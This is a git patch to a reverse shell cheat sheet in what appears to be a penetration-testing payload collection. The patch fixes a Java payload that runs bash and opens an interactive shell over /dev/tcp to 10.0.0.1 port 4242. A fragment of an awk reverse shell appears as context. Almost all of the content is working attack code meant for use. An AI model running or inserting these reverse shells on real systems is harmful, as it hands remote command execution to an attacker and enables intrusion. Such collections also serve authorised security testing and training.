From 13d54a5c24ddc86206221da8a7e872be0b0ebd8e Mon Sep 17 00:00:00 2001 From: cosmin-bianu <54325599+cosmin-bianu@users.noreply.github.com> Date: Fri, 12 Mar 2021 13:20:15 +0200 Subject: [PATCH] Fixed Java payload - Declared variables - Added semicolons at the end of each line - Fixed the bash command --- Methodology and Resources/Reverse Shell Cheatsheet.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Methodology and Resources/Reverse Shell Cheatsheet.md b/Methodology and Resources/Reverse Shell Cheatsheet.md index 08ed332..d960038 100644 --- a/Methodology and Resources/Reverse Shell Cheatsheet.md +++ b/Methodology and Resources/Reverse Shell Cheatsheet.md @@ -209,9 +209,9 @@ awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& ### Java ```java -r = Runtime.getRuntime() -p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) -p.waitFor() +Runtime r = Runtime.getRuntime(); +Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'"); +p.waitFor(); ```